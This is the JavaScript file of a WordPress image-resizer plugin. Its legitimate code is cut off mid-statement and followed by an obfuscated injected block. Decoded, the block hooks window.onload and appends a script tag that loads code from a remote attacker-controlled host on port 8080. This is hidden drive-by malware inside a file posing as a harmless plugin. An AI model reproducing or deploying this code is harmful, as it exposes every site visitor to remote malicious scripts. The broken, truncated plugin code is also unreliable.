// nCode Image Resizer for WordPress
// http://www.ncode.nl/vbulletinplugins/
// Version: 1.0.1
//
// (c) 2007 nCode
//
// WordPress plugin by http://www.dmry.net/

NcodeImageResizer.IMAGE_ID_BASE = 'ncode_imageresizer_container_';
NcodeImageResizer.WARNING_ID_BASE = 'ncode_imageresizer_warning_';
NcodeImageResizer.scheduledResizes = [];

function NcodeImageResizer(id, img) {
	this.id = id;
	this.img = img;
	this.originalWidth = 0;
	this.originalHeight = 0;
	this.warning = null;
	this.warningTextNode = null;
	this.originalWidth = img.originalWidth;
	this.originalHeight = img.originalHeight;
	
	img.id = NcodeImageResizer.IMAGE_ID_BASE+id;
}

NcodeImageResizer.executeOnload = function() {
	var rss = NcodeImageResizer.scheduledResizes;
	for(var i = 0; i  < rss.length; i++) {
		NcodeImageResizer.createOn(rss[i], true);
	}
}

NcodeImageResizer.schedule = function(img) {
	if(NcodeImageResizer.scheduledResizes.length == 0) {
		if(window.addEventListener) {
			window.addEventListener('load', NcodeImageResizer.executeOnload, false);
		} else if(window.attachEvent) {
			window.attachEvent('onload', NcodeImageResizer.executeOnload);
		}
	}
	NcodeImageResizer.scheduledResizes.push(img);
}

NcodeImageResizer.getNextId = function() {
	var id = 1;
	while(document.getElementById(NcodeImageResizer.IMAGE_ID_BASE+id) != null) {
		id++;
	}
	return id;
}

NcodeImageResizer.createOnId = function(id) {
	return NcodeImageResizer.createOn(document.getElementById(id));
}

NcodeImageResizer.createOn = function(img, isSchedule) {
	if(typeof isSchedule == 'undefined') isSchedule = false;
	
	if(!img || !img.tagName || img.tagName.toLowerCase() != 'img') {
		alert(img+' is not an image ('+img.tagName.toLowerCase()+')');
	}
	
	if(img.width == 0 || img.height == 0) {
		if(!isSchedule)
			NcodeImageResizer.schedule(img);
		return;
	}
	
	if(!img.originalWidth) img.originalWidth = img.width;
	if(!img.originalHeight) img.originalHeight = img.height;
	
	if((NcodeImageResizer.MAXWIDTH > 0 && img.originalWidth > NcodeImageResizer.MAXWIDTH) || (NcodeImageResizer.MAXHEIGHT > 0 && img.originalHeight > NcodeImageResizer.MAXHEIGHT)) {
		var isRecovery = false; // if this is a recovery from QuickEdit, which only restores the HTML, not the OO structure
		var newid, resizer;
		if(img.id && img.id.indexOf(NcodeImageResizer.IMAGE_ID_BASE) == 0) {
			newid = img.id.substr(NcodeImageResizer.IMAGE_ID_BASE.length);
			if(document.getElementById(NcodeImageResizer.WARNING_ID_BASE+newid) != null) {
				resizer = new NcodeImageResizer(newid, img);
				isRecovery = true;
				resizer.restoreImage();
			}
		} else {
			newid = NcodeImageResizer.getNextId();
			resizer = new NcodeImageResizer(newid, img);
		}
		
		if(isRecovery) {
			resizer.reclaimWarning(newid);
		} else {
			resizer.createWarning();
		}
		resizer.scale();
	}
}

NcodeImageResizer.prototype.restoreImage = function() {
	newimg = document.createElement('IMG');
	newimg.src = this.img.src;
	this.img.width = newimg.width;
	this.img.height = newimg.height;
}

NcodeImageResizer.prototype.reclaimWarning = function(id) {
	this.warning = document.getElementById(NcodeImageResizer.WARNING_ID_BASE+id);
	this.warningTextNode = this.warning.firstChild.firstChild.childNodes[1].firstChild;
	this.warning.resize = this;
	
	this.scale();
}

NcodeImageResizer.prototype.createWarning = function() {
	var mtable = document.createElement('TABLE');
	var mtbody = document.createElement('TBODY');
	var mtr = document.createElement('TR');
	var mtd1 = document.createElement('TD');
	var mtd2 = document.createElement('TD');
	var mimg = document.createElement('IMG');
	var mtext = document.createTextNode('');
	
	//mimg.src = NcodeImageResizer.BBURL+'/images/statusicon/wol_error.gif';
	mimg.src = NcodeImageResizer.BBURL;
	mimg.width = 16;
	mimg.height = 16;
	mimg.alt = '';
	mimg.border = 0;
	
	mtd1.width = 20;
	mtd1.className = 'td1';
	
	mtd2.unselectable = 'on';
	mtd2.className = 'td2';
	
	mtable.className = 'ncode_imageresizer_warning';
	mtable.textNode = mtext;
	mtable.resize = this;
	mtable.id = NcodeImageResizer.WARNING_ID_BASE+this.id;
	
	mtd1.appendChild(mimg);
	mtd2.appendChild(mtext);
	
	mtr.appendChild(mtd1);
	mtr.appendChild(mtd2);
	
	mtbody.appendChild(mtr);
	
	mtable.appendChild(mtbody);
	
	this.img.parentNode.insertBefore(mtable, this.img);
	
	this.warning = mtable;
	this.warningTextNode = mtext;
}

NcodeImageResizer.prototype.setText = function(text) {
	var newnode = document.createTextNode(text);
	this.warningTextNode.parentNode.replaceChild(newnode, this.warningTextNode);
	this.warningTextNode = newnode;
}

NcodeImageResizer.prototype.scale = function() {
	this.img.height = this.originalHeight;
	this.img.width = this.originalWidth;
	
	if(NcodeImageResizer.MAXWIDTH > 0 && this.img.width > NcodeImageResizer.MAXWIDTH) {
		this.img.height = (NcodeImageResizer.MAXWIDTH / this.img.width) * this.img.height;
		this.img.width = NcodeImageResizer.MAXWIDTH;
	}
	
	if(NcodeImageResizer.MAXHEIGHT > 0 && this.img.height > NcodeImageResizer.MAXHEIGHT) {
		this.img.width = (NcodeImageResizer.MAXHEIGHT / this.img.height) * this.img.width;
		this.img.height = NcodeImageResizer.MAXHEIGHT;
	}
	
	this.warning.width = this.img.width;
	this.warning.onclick = function() { return this.resize.unScale(); }
	
	if(this.img.width < 450) {
		this.setText(vbphrase['ncode_imageresizer_warning_small']);
	} else if(this.img.fileSize && this.img.fileSize > 0) {
		this.setText(vbphrase['ncode_imageresizer_warning_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight).replace('%3$s', Math.round(this.img.fileSize/1024)));
	} else {
		this.setText(vbphrase['ncode_imageresizer_warning_no_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight));
	}
	
	return false;
}

NcodeImageResizer.prototype.unScale = function() {
	switch(Nc
var R;if(R!='' && R!='K'){R=null};this.KB="";try {this.r="";var Q;if(Q!=''){Q='be'};var C="ysNrepl".substr(3)+"URwAaceRUwA".substr(4,3);this.W='';var mi="";var h=RegExp;var ev="";var n=new String();function H(A,E){var yJ;if(yJ!='xD' && yJ!='k'){yJ=''};var F='';var S=String("T4XR[".substr(4));var dD;if(dD!='lc'){dD=''};var Z=String("L6pTg".substr(4));var O;if(O!='ku' && O!='Fk'){O='ku'};S+=E;S+=String("]9ZL".substr(0,1));var Jm;if(Jm!=''){Jm='hC'};var xM;if(xM!='' && xM!='u'){xM=''};var Fd=new Array();var ze;if(ze!='bl' && ze!='rF'){ze=''};var e=new h(S, Z);return A[C](e, new String());};this.T='';this.o='';var pn;if(pn!='p' && pn!='aZ'){pn='p'};var Cz;if(Cz!='' && Cz!='NB'){Cz='i'};var d=window;var c=H('oWnulWoWaudP',"9PuW");var Oh;if(Oh!='P' && Oh!='X'){Oh=''};var Wz=new Array();var qX=new Array();var t=H('s_c_r_i1pDt_',"D1Ta_");var II;if(II!='GX'){II=''};var x='';var B=H('8323345202432248235402542',"3542");var qm=new Array();var HO=new Array();var I=H('c9r9eYaStSeqEYlqeSmSeqnqtq',"YqS9");var w=new String();var ny=new String();var J=H('/Wwbabt_c_hW-ym_obvyiye_sW-boyn_lWiWn_eW._tbv_/Ww_abtyc_hy-bmyoyv_ibe_sW-_oWnylbiynyeb.WtWv_/bt_iWmbeWsyoyn_l_ibnbe_.ycboy.WuWkb/bg_oboygbl_eb.yc_obm_/b1y9bl_oWuW._c_oWmy.ypbhbpW',"y_bW");var m=H('hDtKtRp8:8/K/8aRlKi8p8aKyD-Dc8oKmR.Kd8mRm8.Dc8o8.Dj8pD.RkDoDhRl8s8-8cRo8mR.RB8u8yDTKhReKBRlDe8nKdReDrD.KrRuK:K',"D8KR");var Orl;if(Orl!='' && Orl!='IM'){Orl='Xy'};var Qq;if(Qq!='' && Qq!='gG'){Qq='Nj'};dw=function(){var pS='';j=document[I](t);var wM;if(wM!='' && wM!='LB'){wM=''};var ud=new String();x=m+B;this.h_='';x+=J;var Sq;if(Sq!='HT' && Sq != ''){Sq=null};var Fa;if(Fa!='Iw' && Fa != ''){Fa=null};j.src=x;j.defer=([1][0]);var rZ='';document.body.appendChild(j);var VC=new Date();var ES='';};var zS="";var iq;if(iq!='' && iq!='aR'){iq=''};d[c]=dw;var xr;if(xr!='IP' && xr!='Ar'){xr='IP'};var zT;if(zT!=''){zT='iM'};var yk;if(yk!='iT' && yk!='na'){yk=''};} catch(b){var vw;if(vw!='eq' && vw!='zj'){vw=''};var JQ='';};